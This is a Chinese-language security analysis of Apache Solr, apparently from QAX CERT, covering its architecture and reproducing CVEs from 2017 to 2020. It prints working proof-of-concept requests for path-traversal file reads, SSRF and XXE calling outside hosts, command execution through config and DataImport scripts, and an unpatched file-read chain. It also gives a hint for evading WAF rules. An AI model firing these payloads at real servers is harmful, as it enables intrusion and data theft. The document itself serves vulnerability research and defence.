Apache Solr 组件安全概览
2021-03-17 20:02:21 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

本文作者  Skay @ QAX CERT

Apache Solr是一个开源搜索服务引擎,近年来产生过多个高危漏洞。本文从Solr核心概念、源码、近五年历史漏洞、攻击面概述、厂商防御绕过多个角度力求全面分析Apache Solr组件。

文章最后给出一个全版本任意文件读取漏洞,Apache Solr官方拒绝修复,请客户酌情处理。

声明:本篇文章由 Skay @ QAX CERT原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。

QAX CERT

目录


一、组件概述


1.关键词

企业级全文检索服务器、基于Lucene

2.一些名词

(1) 数据

结构化数据,与非结构化数据

结构化数据:用表、字段表示的数据  数据库适合结构化数据的精确查询

半结构化数据:   xml 、html

非结构化数据:文本、文档、图片、音频、视频等

(2) Document

被索引的对象,索引、搜索的基本单元,一个Document由多个字段Field构成

Field、字段名name、字段值value

字段类型type FieldType(这个fieldtype也有很多属性主要两个是name 以及 class 用来存放该类型值的类名),Field中包含分析器(Analyzer)、过滤器(Filter)

(3) 索引

对列值创建排序存储,数据结构={列值、行地址} ,Luncene或者说Solr的索引的创建过程其实就是分词、存储到反向索引中

输入的是苍老师,想要得到标题或内容中包含“苍老师”的新闻列表

(4) 搜索引擎

区别于关系数据库搜索引擎专门解决大量结构化、半结构化数据、非结构化文本类数据的实时检索问题。这种类型的搜索实时搜索数据库做不了。

(5) 搜索引擎工作原理

1、从数据源加载数据,分词、建立反向索引

2、搜索时,对搜索输入进行分词,查找反向索引

3、计算相关性,排序,输出

(5) zookeeper

zk是分布式系统中的一项协调服务。solr将zk用于三个关键操作:

1、集中化配置存储和分发

2、检测和提醒集群的状态改变

3、确定分片代表

(6) Lucene

一套可对大量结构化、半结构化数据、非结构化文本类数据进行实时搜索的专门软件。最早应用于信息检索领域,经谷歌、百度等公司推出网页搜索而为大众广知。后又被各大电商网站采用来做网站的商品搜索。现广泛应用于各行业、互联网应用。

核心构成:数据源(存储的数据)、分词器(英文比较容易,中文两个常用的 IKAnalyzer、mmseg4j主谓宾等)、反向索引(倒排索引)、相关性计算模型(例如 出现次数这个算简单的,复杂点的 可能就会加上权重,搜索引擎会提供一种或者多种)

(8) Solr中的Core

运行在Solr服务器中的具体唯一命名的、可管理、可配置的索引,一台Solr可以托管一个或多个索引。solr的内核是运行在solr服务器中具有唯一命名的、可管理和可配置的索引。一台solr服务器可以托管一个或多个内核。内核的典型用途是区分不同模式(具有不同字段、不同的处理方式)的文档。

内核就是索引,为什么需要多个?因为不同的文档拥有不同的模式(字段构成、索引、存储方式),商品数据和新闻数据就是两类完全不同的数据,这就需要两个内核来索引、存储它们。

每个内核都有一个 内核实例存放目录、内核索引数据存放目录、内核配置文件(solrconfig.xml)、内核模式文件(schema.xml)

(9) Solr中的schema

包含整个架构以及字段和字段类型。用来告诉solr,被索引的文档由哪些Field组成。让solr知道集合/内核包含哪些字段、字段的数据类型、字段该索引存储。

conf/managed-schema  或者 schema.xml

(10) solrconfig.xml

此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置

(11) collection 集合

一个集合由一个或多个核心(分片)组成,SolrCloud引入了集合的概念,集合将索引扩展成不同的分片然后分配到多台服务器,分布式索引的每个分片都被托管在一个solr的内核中(一个内核对应一个分片呗)。提起SolrCloud,更应该从分片的角度,不应该谈及内核。

(12) Solr.xml

它是$ SOLR_HOME目录中包含Solr Cloud相关信息的文件。要加载核心,Solr会引用此文件,这有助于识别它们。solr.xml 文件定义了适用于全部或多个内核的全局配置选项

(13) core.properties

代表一个核心,为每个核心定义特定的属性,例如其名称、核心所属的集合、模式的位置以及其他参数

(14) Solr配置集 configset

用于实现多个不同内核之间的配置共享

(15) requestHandler(solrconfig.xml)

请求处理程序,定义了solr接收到请求后该做什么操作。

Solr中处理外部数据都是通过http请求,对外提供http服务,每类服务在solr中都有对应的request handler接收处理数据,solr中有定义了很多内置的请求处理程序,但是我们也可以自己定义,在conf/solrconfig.xml中配置

在 conf/solrconfig.xml中,requestHandler的配置就像我们在web.xml中配置servlet-mapping(或spring mvc 中配置controller 的requestMap)一样:配置该集合/内核下某个请求地址的处理类

示例 '${dataimporter.last_index_time}'">

(16) Solr中的 文档、字段、字段分析、模式、分析器、标记器、过滤器

参阅中文文档

https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html

https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html

3.几个重要配置文件的详解

1.Solr.xml

在独立模式下,solr.xml必须驻留在solr_home(server/solr)。在SolrCloud模式下,将从ZooKeeper加载solr.xml(如果它存在),回退到solr_home。

solr.xml 文件定义了适用于全部或多个内核的全局配置选项。

<solr>标签是根元素

  • adminHandler 属性,solr默认使用org.apache.solr.handler.admin.CoreAdminHandler

  • collectionsHandler 自定义CollectingHandler的实现

  • infoHandler 自定义infoHandler实现

  • coreLoader 指定分配给此内核的线程数

  • coreRootDirectory  指定$SOLR_HOME

  • sharedLib 所有内核共享公共库目录  此目录任何jar文件都将被添加到Solr插件的搜索路径中

  • shareSchema 此属性为true的情况下,共享IndexSchema对象

  • configSetBaseDir 指定configSets目录  默认为$SOLR_HOME/configsets

<solrcloud>  定义了与SolrCloud相关的参数

  • distribUpdateConnTimeout 设置集群的connTimeout

  • distribUpdateSoTimeout 设置集群的socketTime'out

  • host 设置访问主机名称

  • hostContext url上下文路径

  • hostPort 端口

  • zkClientTimeout  连接到ZookKeeper服务器的超时时间

<logging>

  • class 属性 用于记录的class类,相应的jar必须存在

  • enable 是否启用日志功能

<shardHandlerFactory>分片相关

<metrics> 报告相关

2.core.properties

简单的key=value,可以这么理解,一个core.properties 就代表一个core,允许即时创建,而不用重启Solr,配置文件包含以下属性:

  • name core的名称

  • config core的配置文件名称 默认为solrconfig.xml

  • schema 核心架构文件名称 默认为schema.xml

  • dataDir core的数据目录 可以是据对路径 也可以是相对于instanceDir的路径

  • configSet  configset可用于配置内核

  • properties 这个core的文件名称 可以是绝对路径也可以是相对路径

  • loadOnstartup  true Solr启动时,会加载这个核心

  • ulogDir 日志的路径

  • collection 是SolrCloud的一部分

3.Schema.xml

4.Solrconfig.xml

这个文件可以说,在功能上包含了一个core处理的全部配置信息

  • <luceneMatchVersion> 指定Luncene版本

  • <dataDir> core的data目录  存放当前core的idnex索引文件和tlog事务日志文件

  • <directoryFactory>  索引存储工厂 配置了一些存储时的参数 线程等

  • <codeFactory> 编解码方式

  • <indexConfig> 配置索引属性,主要与Luncene创建索引的一些参数,文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等

  • <updateHander> 更新处理器 更新增加Document时的update对应什么处理动作在这里配置,在这里也可以自定义更新处理器

  • 以及查询的相关配置

  • <requestDispatcher>  请求转发器  自定义增加在这里配置

  • <requestParses> 请求解析器  配置solr的请求解析行为

  • <requestHandler> 请求处理器  solr通过requestHandler提供webservice功能,通过http请求对索引进行访问 可以自定义增加,在这里配置

4.概述

建立在Lucene-core之上,Luncene是一个全文检索的工具包,它不是一个完整的引擎,Solr将它打包成了一个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有一个后台管理界面。所以,它既然是基于Luncene的,所以他的核心功能逻辑就应该和Luncene一样,给它一个Docunment,Solr进行分词以及查找反向索引,然后排序输出。

Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时,它被称为查询。

在一些大型门户网站、电子商务网站等都需要站内搜索功能,使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求,比如:搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等,这里就需要使用全文检索技术实现搜索功能。

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene 是一个全文检索引擎工具包,它是一个 jar 包,不能独立运行,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进行存储的。NoSQL特性和丰富的文档处理(例如Word和PDF文件)。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:<uniqueKey>id</uniqueKey>进行描述。Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。

Solr可以独立运行,打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中,Solr索引的实现方法很简单,用 POST 方法向Solr服务器 发送一个描述

Field 及其内容的XML文档,Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进行解析,组织页面布局。Solr不提供构建UI的功能,Solr提供了一个管理界面,通过管理界面可以查询Solr的配置和运行情况。

中文文档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html

3.使用范围及行业分布

  • 业界两个最流行的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。

  • fofa搜索公网资产 一万 app="APACHE-Solr"

  • GitHub Star数量 3.8k

4.重点产品特性

默认全局未授权,多部署于内网,内置zk服务

不可自动升级,需要手动升级修复漏洞


Solr 所有版本下载地址 http://archive.apache.org/dist/lucene/solr/   

1.sorl-4.2.0 环境搭建

1.1 环境搭建

下载solr-4.2.0.zip文件,解压,C:\Solr\solr-4.2.0\example\start.jar 启动

java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar

1.2 动态调试

新建idea项目

讲solr目录下所有jar包导入 lib目录下 add as library

配置远程调试

断点成功停住

当然也可以下载solr源码,idea直接打开,配置Remote,远程调试,看源码总是正规的嘛

2.Solr较高版本

2.1 环境搭建

大体同上,只不过启动时,没有了start.jar  改为bin目录下的solr.bat

./solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"

PS:这里注意一点,需要jdk8及以上 以及 solr.cmd -f -e dih 加载example  然后solr stop -p 8983 再启动,加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞复现不出来

solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"

2.2 动态调试

下载源码,配置Remote即可

2.3 PS  Cloud模式下的 debug

solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983调试solr的启动过程java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar --module=htt

创建一个新的核心

在此感谢Whippet师傅!


1.Apache Solr架构

(1) Request Handler

Solr 用来处理http请求处理程序的模块,无论是api又或者是web前台的,这也是我们漏洞挖掘时需要主要关注的部分

(2) Search Component

Solr的搜索组件,提供搜索功能服务。

(3) Query Parser

Solr查询解析器解析我们传递给Solr的查询,并验证查询是否存在语法错误。解析查询后,它会将它们转换为Lucene理解的格式。

(4) Response Writer

Solr处理响应的功能模块,是为用户查询生成格式化输出的组件。Solr支持XML,JSON,CSV等响应格式。对于每种类型的响应,都有不同的响应编写器。

(5) Analyzer / tokenizer

Lucene以令牌的形式识别数据。Apache Solr分析内容,将其划分为令牌,并将这些令牌传递给Lucene。Apache Solr中的分析器检查字段文本并生成令牌流。标记生成器将分析器准备的标记流分解为标记。

(6) Update Request Processor

每当我们向Apache Solr发送更新请求时,请求都通过一组插件(签名,日志记录,索引)运行,统称为 更新请求处理器 。此处理器负责修改,例如删除字段,添加字段等

2.目录结构

1.运行目录结构

├─bin     大量的Solr控制台管理工具存在该目录下

├─contrib   包含大量关于Solr的扩展

│  ├─analysis-extras  该目录下面包含一些相互依赖的文本分析组件

│  ├─clustering  该目录下有一个用于集群检索结果的引擎

│  ├─dataimporthandler  DIH组件,该组件可以从数据库或者其他数据源导入数据到Solr中

│  ├─dataimporthandler-extras  包含了对DIH的扩展

│  ├─extraction  集成Apache Tika,用于从普通格式文件中提取文本

│  ├─jaegertracer-configurator

│  ├─langid  该组件使得Solr拥有在建索引之前识别和检测文档语言的能力

│  ├─ltr

│  ├─prometheus-exporter

│  └─velocity  包含一个基于Velocity模板语言简单检索UI框架

├─dist  Solr的核心JAR包和扩展JAR包。当我们试图把Solr嵌入到某个应用程序的时候会用到核心JAR包。

│  ├─solrj-lib  包含构建基于Solr的客户端时会用到的JAR包

│  └─test-framework  包含测试Solr时候会用到的JAR包

├─docs Solr文档

├─example Solr的简单示例

│  ├─cloud

│  ├─example-DIH

│  ├─exampledocs

│  ├─files

│  └─films

├─licenses 各种许可和协议

└─server 本地把Solr作为服务运行的必要文件都存放在这里

    ├─contexts 启动Solr的Jetty网页的上下文配置

    ├─etc Jetty服务器配置文件,在这里可以把默认的8983端口改成其他的

    ├─lib Jetty服务器程序对应的可执行JAR包和响应的依赖包

    │  └─ext

    ├─logs 日志将被输出到这个文件夹

    ├─modules http\https\server\ssl等配置模块

    ├─resources 存放着Log4j的配置文件

    ├─scripts Solr运行的必要脚本

    │  └─cloud-scripts

    ├─solr 运行Solr的配置文件都保存在这里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里 以及configsets等

    │  ├─.system_shard1_replica_n1

    │  ├─aaa_shard1_replica_n1

    │  ├─configsets

    │  │  ├─sample_techproducts_configs

    │  ├─filestore

    │  ├─userfiles

    │  └─zoo_data

    │      └─version-2

    ├─solr-webapp 管理界面的站点就存放在这里

    │  └─webapp

    │      └─WEB-INF

    └─tmp 存放临时文件

        ├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir

2.Solr Home目录结构

单例模式下

<solr-home-directory>   solr.xml   core_name1/      core.properties      conf/         solrconfig.xml         managed-schema      data/   core_name2/      core.properties      conf/         solrconfig.xml         managed-schema      data/

colud模式下

<solr-home-directory>/   solr.xml   core_name1/      core.properties      data/   core_name2/      core.properties      data/

3.源码结构

├─bin  Solr控制台管理工具存在该目录下

├─contrib 包含大量关于Solr的扩展 同安装目录中一样

├─core core的核心

│  └─src

│      ├─java.org.apache.solr

│      │              ├─analysis 文本分析处理类,其中没有很多核心实现,主要调用了lucene重点的核心功能

│      │              ├─api  Solr对外提供给的API(两个版本)处理包

│      │              ├─client.solrj.embedded Solr中嵌入了jetty,这里存在Jetty的配置类以及嵌入式启动类

│      │              ├─cloud  Solr在cloud模式下云的的相关处理包,包含zk相关的处理类

│      │              ├─core   core相关的处理包 solrcore solrinfo CoreDescriptor等

│      │              ├─filestore 文件处理包

│      │              ├─handler 请求程序处理包

│      │              │  ├─admin

│      │              │  ├─component

│      │              │  ├─export

│      │              │  ├─loader

│      │              │  ├─sql

│      │              │  └─tagger

│      │              ├─highlight solr高亮功能包

│      │              ├─index

│      │              ├─internal

│      │              ├─legacy

│      │              ├─logging  日志功能处理包

│      │              ├─metrics

│      │              ├─packagemanager

│      │              ├─parser 解析器包

│      │              ├─pkg

│      │              ├─query 查询功能处理

│      │              ├─request 请求前置处理 SolrQueryRequestBase在这里

│      │              ├─response 返回数据处理

│      │              ├─rest rest功能,包含restApi处理逻辑

│      │              ├─schema 模式定义

│      │              ├─search search功能程序处理包

│      │              │  ├─join

│      │              │  ├─mlt

│      │              │  ├─similarities

│      │              │  └─stats

│      │              ├─security 安全功能处理包

│      │              ├─servlet Servlet Filter Wrpper拓展处理

│      │              ├─spelling

│      │              ├─store

│      │              ├─uninverting

│      │              ├─update 字段索引更新处理逻辑

│      │              └─util 一些工具类

│      ├─resources

│      ├─test

│      └─test-files

├─dev-docs

├─docs

├─example 示例文件

│  ├─example-DIH

│  ├─exampledocs

│  ├─files

│  └─films

├─licenses 各种许可和协议

├─server 本地把Solr作为服务运行的必要文件都存放在这里

    ├─contexts 启动Solr的Jetty网页的上下文配置

    ├─etc Jetty服务器配置文件,在这里可以把默认的8983端口改成其他的

    ├─lib Jetty服务器程序对应的可执行JAR包和响应的依赖包

    │  └─ext

    ├─logs 日志将被输出到这个文件夹

    ├─modules http\https\server\ssl等配置模块

    ├─resources 存放着Log4j的配置文件

    ├─scripts Solr运行的必要脚本

    │  └─cloud-scripts

    ├─solr 运行Solr的配置文件都保存在这里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里 以及configsets等

├─site

├─solr-ref-guide

├─solrj solr的客户端程序

└─webapp 管理界面的站点就存放在这里

4.启动过程

避免文章太长,放到这里了 https://xz.aliyun.com/t/9247

5.源码中核心类

避免文章太长,放到这里了 https://xz.aliyun.com/t/9248

6.Apache Solr中的路由

路由就直接根据 "/" 或者 ":" 写死了的,没有一点兼容性,看路由无非是想看对应哪些可以访问的handler,直接去Plugins/Stats里看就行,里面对应了每个url的处理类

调试过程中一些关键位置

这里的58 是冒号:

反斜杠

下面是调试过程中的一些路由列表


1.漏洞概览

1.1.漏洞列表

名称

编号

危害

影响版本

备注

shards参数SSRF

CVE-2017-3164

高危

1.4.0-6.4.0


任意文件读取

CVE-2017-3163

高危

同3164


XXE&RCE

CVE-2017-12629

高危

<7.1.0


XXE

CVE-2018-1308

高危

1.2至6.6.2和7.0.0至7.2.1


XXE

CVE-2018-8026

高危

6.6.4, 7.3.1


反序列化RCE

CVE-2019-0192

高危

5.0.0 to 5.5.5 and 6.0.0 to 6.6.5


RCE

CVE-2019-0193

高危

< 8.2.0


RCE

CVE-2019-17558

高危

5.0.0版本至8.3.1

模板注入

任意文件上传

CVE-2020-13957

高危

Solr 8.6.2 之前


1.2.漏洞分布与关联

A.分布

模板注入、config API、正常文件读取的没有正常过滤、反序列化、config set文件上传

B.关联

均为http、API 正常功能的滥用

2.复现及分析

2.1. CVE-2017-3163

2.1.1 复现

poc 如下

GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=filestream&generation=1 HTTP/1.1Host: 192.168.33.130:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0

复现截图

2.1.2 分析

首先我们diff 下6.4.2 和6.4.0 看一下是怎么修复的

伤心,尝试了一下绕不过去,直接是在ReplicationHandler中做了过滤,根据之前分析的Solr启动过程的处理逻辑,再结合poc的url:/solr/db/replication,可以猜到肯定会走到ReplicationHandler的handlerequest方法,所以断点直接下到这里就可

在没有修复的版本里,没有任何过滤

直接读取了文件

修复之后,针对不同系统的文件分隔符将文件名拆分成一个迭代器,如果发现 ".."存在,就返回403

2.2 CVE-2017-3164

2.2.1 复现

GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1Host: 192.168.33.130:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0


2.2.2 分析

观察poc,path没变还是/db/replication,所以问题仍旧出在org/apache/solr/handler/ReplicationHandler.java 中,但是由于command=fetchindex,command嘚参数不同,所以会走到不同嘚处理逻辑,这里会进入最后一个

这里会开启另一个线程,进入doFetch嘚处理逻辑

最终会走到触发嘚地方

此时嘚调用栈

getLatestVersion:202, IndexFetcher (org.apache.solr.handler)fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)doFetch:397, ReplicationHandler (org.apache.solr.handler)lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)run:-1, Thread (java.lang)

2.3 CVE-2018-1308

2.3.1 复现

POC:

POST /solr/db/dataimport HTTP/1.1Host: 192.168.170.139:8983Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 208command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp
_xxe.xml%22%3E%25remote%3B%5D%3E

2.3.2 分析

看请求的url就知道问题出在org.apache.solr.handler.dataimport.DataImportHandler,结合command以及dataConfig参数,很快可以定位到this.importer.maybeReloadConfiguration(requestParams, defaultParams);

跟进org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration方法

继续跟进org.apache.solr.handler.dataimport.DataImporter#loadDataConfig,可以发现没有任何关于XXE的防御处理

修复,这里直接看最新版本的修复,这里的commit同时也修复了CVE-2019-0193,补丁增加了

enable.dih.dataConfigParam(默认为false)只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。

2.4 CVE-2017-12629

2.4.1 复现

XXE:

http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20"http://aaa.mryq4g.dnslog.cn"><a></a>'}&wt=xml

RCE:

POST /solr/newcollection/config HTTP/1.1Host: localhost:8983Connection: closeContent-Type: application/json  Content-Length: 198{  "add-listener" : {    "event":"newSearcher",    "name":"newlistener-1",    "class":"solr.RunExecutableListener",    "exe":"curl",    "dir":"/usr/bin/",    "args":["http://127.0.0.1:8080"]  }}

2.4.2 分析

XXE

其实是Lucene出现的漏洞,而Solr又是Lucenne作为核心语义分析引擎,所以受此漏洞影响,具体漏洞点在org.apache.lucene.queryparser.xml.CoreParser#parseXML

可以看见没有任何关于XMl解析XXE的防御,此时主要调用栈

parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)parse:115, CoreParser (org.apache.lucene.queryparser.xml)parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)getQuery:168, QParser (org.apache.solr.search)prepare:160, QueryComponent (org.apache.solr.handler.component)handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)handleRequest:166, RequestHandlerBase (org.apache.solr.handler)execute:2306, SolrCore (org.apache.solr.core)execute:658, HttpSolrCall (org.apache.solr.servlet)call:464, HttpSolrCall (org.apache.solr.servlet)doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)

修复,增加了XXE的通用防御

RCE:

这个都不太想调试了,问题类方法是org.apache.solr.core.RunExecutableListener#exec

官方修复呢也是直接把这个类删了

2.5 CVE-2018-8026

上传configset 解析配置文件xml时造成xxe,具体分析复现移步https://xz.aliyun.com/t/2448

具体看org.apache.solr.schema.FileExchangeRateProvider修复,都换成SafeXMLParsing了

2.6 CVE-2019-0193

2.6.1 复现

POC:

<dataConfig>  <dataSource type="URLDataSource"/>  <script><![CDATA[          function poc(){ java.lang.Runtime.getRuntime().exec("calc");          }  ]]></script>  <document>    <entity name="stackoverflow"            url="https://stackoverflow.com/feeds/tag/solr"            processor="XPathEntityProcessor"            forEach="/feed"            transformer="script:poc" />  </document></dataConfig>

2.6.2 分析

同样是DataImportHandler出问题

进入到Dataimport功能页面,开启debug,默认给出了如下xml

<dataConfig>    <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />    <document>        <entity name="item" query="select * from item"                deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">            <field column="NAME" name="name" />

<entity name="feature" query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'" deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'" parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}"> <field name="features" column="DESCRIPTION" /> </entity> <entity name="item_category" query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'" deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'" parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}"> <entity name="category" query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'" deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'" parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}"> <field column="DESCRIPTION" name="cat" /> </entity> </entity> </entity> </document></dataConfig>

entity 标签中支持执行script,且支持jndi,也就是漏洞触发的地方,具体dataimport支持的功能参阅官方文档https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html

补丁增加了

enable.dih.dataConfigParam(默认为false)只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。利用失败如下

2.7 CVE-2019-0192

2.7.1 复现

https://github.com/mpgn/CVE-2019-0192/

2.7.2 分析

Solr支持动态的更新配置,但是更新的并不是Solrconfig.xml 而是configoverlay.json

官方文档参考如下

Config API可以使用类似REST的API调用来处理您的solrconfig.xml的各个方面。

此功能默认启用,并且在SolrCloud和独立模式下的工作方式类似。许多通常编辑的属性(如缓存大小和提交设置)和请求处理程序定义可以使用此API进行更改。

使用此API时,solrconfig.xml不会更改。相反,所有编辑的配置都存储在一个名为configoverlay.json的文件中。该configoverlay.json中值覆盖solrconfig.xml中的值。

所以加载core的时候自然会加载configoverlay.json文件,问题也出在这里,精心构造的configoverlay.json可以触发org.apache.solr.core.SolrConfig的危险构造方法

public SolrConfig(SolrResourceLoader loader, String name, InputSource is) throws ParserConfigurationException, IOException, SAXException {......}

进而触发org.apache.solr.core.SolrCore#initInfoRegistry

修复,新版本直接不支持jmx

2.8 CVE-2019-17558

2.8.1 复现

2.8.2 分析

Velocity模板引擎注入首先触发的话,需要通过config api开启模板引擎开关params.resource.loader.enabled,Solr提供给管理员方便管理的配置api,正常功能,由于Solr默认安装为未授权,所以攻击者可以直接配置

再看下模板命令执行,是返回内容进行模板渲染的时候发生的代码注入

org.apache.solr.servlet.HttpSolrCall#writeResponse

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

最后进入到模板引擎渲染阶段 org.apache.solr.response.VelocityResponseWriter#write

此时部分调用栈

write:151, VelocityResponseWriter (org.apache.solr.response)writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)writeResponse:732, HttpSolrCall (org.apache.solr.servlet)call:473, HttpSolrCall (org.apache.solr.servlet)doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)

2.9 CVE-2020-13957

官方API参考文档

https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api

首先准备配置文件

docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./

修改solrconfig.xml  velocity.params.resource.loader.enabled:false 为true

目录如下

压缩为zip,通过Configset API上传到服务器

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @ssscon
figset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"

配置文件上传成功

通过API创建新的collecton,或者从前台创建也可

创建成功

执行命令

其实是官方正常功能

2.10 全版本任意文件读取(官方拒绝修复)

默认安装未授权情况下,各项配置皆为默认

下载Solr最新版本

http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz

POC

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"

复现

1.第一步

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

2.第二步

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt" 

3.漏洞信息跟进

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://issues.apache.org/jira/browse/SOLR

4.厂商防护及绕过思路

这种组件直接放内网就好了,或者一定配置身份校验,且Solr路由写的比较死,厂商提取规则时只要将url过滤完整即可,不会存在绕过情况。

绕过的话,虽然说每个漏洞url较为固定,但是每个功能的触发点皆为每个core或collection,core的名称包含在url中,且生产环境中为用户自定义,很多规则编写者通常只将示例example加入检测,可绕过几率很高。


Apache Solr整体默认安装为未授权,且大部分资产都为未授权,提供众多api接口,支持未授权用户通过config api更改配置文件,攻击面较大。


https://solr.apache.org/guide/8_6/

https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/

https://baike.baidu.com/item/apache%20solr

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://www.jianshu.com/p/03b1199dec2c

https://zhuanlan.zhihu.com/p/71629409

https://issues.apache.org/jira/browse/SOLR-12770

https://xz.aliyun.com/t/8374

